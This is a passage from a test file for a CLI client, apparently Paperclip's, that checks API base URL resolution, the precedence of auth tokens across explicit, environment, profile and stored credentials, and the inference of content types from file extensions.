$meta: { version: 1, updatedAt: "2026-05-23T00:00:00.000Z", source: "onboard" },
database: { mode: "embedded-postgres" },
logging: { mode: "file" },
server: { deploymentMode: "local_trusted", exposure: "private", host: "127.0.0.1", port: 4111 },
}));
expect(resolveApiBase({ apiBase: "http://explicit:1", config: configPath }, { apiBase: "http://profile:2" }))
.toBe("http://explicit:1");
process.env.PAPERCLIP_API_URL = "http://env:3/";
expect(resolveApiBase({ config: configPath }, { apiBase: "http://profile:2" })).toBe("http://env:3");
delete process.env.PAPERCLIP_API_URL;
expect(resolveApiBase({ config: configPath }, { apiBase: "http://profile:2/" })).toBe("http://profile:2");
expect(resolveApiBase({ config: configPath }, {})).toBe("http://localhost:4111");
});
it("prefers explicit and env tokens over profile env and stored board auth", () => {
const contextPath = createTempPath("context.json");
const authStorePath = createTempPath("auth.json");
process.env.PAPERCLIP_AUTH_STORE = authStorePath;
process.env.PROFILE_KEY = "profile-token";
setStoredBoardCredential({
apiBase: "http://localhost:3100",
token: "stored-board-token",
userId: "user-1",
storePath: authStorePath,
});
writeContext(
{
version: 2,
currentProfile: "default",
profiles: {
default: {
apiBase: "http://localhost:3100",
apiKeyEnvVarName: "PROFILE_KEY",
},
},
},
contextPath,
);
const profileResolved = resolveCommandContext({ context: contextPath });
expect(profileResolved.api.apiKey).toBe("profile-token");
expect(profileResolved.authSource).toBe("profile_env");
process.env.PAPERCLIP_API_KEY = "env-token";
const envResolved = resolveCommandContext({ context: contextPath });
expect(envResolved.api.apiKey).toBe("env-token");
expect(envResolved.authSource).toBe("env");
const explicitResolved = resolveCommandContext({ context: contextPath, apiKey: "explicit-token" });
expect(explicitResolved.api.apiKey).toBe("explicit-token");
expect(explicitResolved.authSource).toBe("explicit");
});
});
describe("inferContentTypeFromPath", () => {
it("maps the issue-attachment file types the server allows", () => {
// Must match server/src/attachment-types.ts DEFAULT_ALLOWED_TYPES exactly.
expect(inferContentTypeFromPath("newsletter.html")).toBe("text/html");
expect(inferContentTypeFromPath("page.htm")).toBe("text/html");
expect(inferContentTypeFromPath("data.csv")).toBe("text/csv");
expect(inferContentTypeFromPath("bundle.zip")).toBe("application/zip");
expect(inferContentTypeFromPath("demo.mp4")).toBe("video/mp4");
expect(inferContentTypeFromPath("clip.webm")).toBe("video/webm");
expect(inferContentTypeFromPath("teaser.m4v")).toBe("video/x-m4v");
expect(inferContentTypeFromPath("walkthrough.mov")).toBe("video/quicktime");
expect(inferContentTypeFromPath("report.pdf")).toBe("application/pdf");
expect(inferContentTypeFromPath("chart.png")).toBe("image/png");
});
it("emits text types with no charset parameter so they match the exact allowlist", () => {
expect(inferContentTypeFromPath("notes.md")).toBe("text/markdown");
expect(inferContentTypeFromPath("log.txt")).toBe("text/plain");
});
it("is case-insensitive and returns undefined for unknown extensions", () => {
expect(inferContentTypeFromPath("/abs/Path/IMAGE.PNG")).toBe("image/png");
expect(inferContentTypeFromPath("archive.unknownext")).toBeUndefined();
expect(inferContentTypeFromPath("noextension")).toBeUndefined();
});
});
Loaded 100 of 3422 files, more files were not shown because too many files have changed in this diff. Show more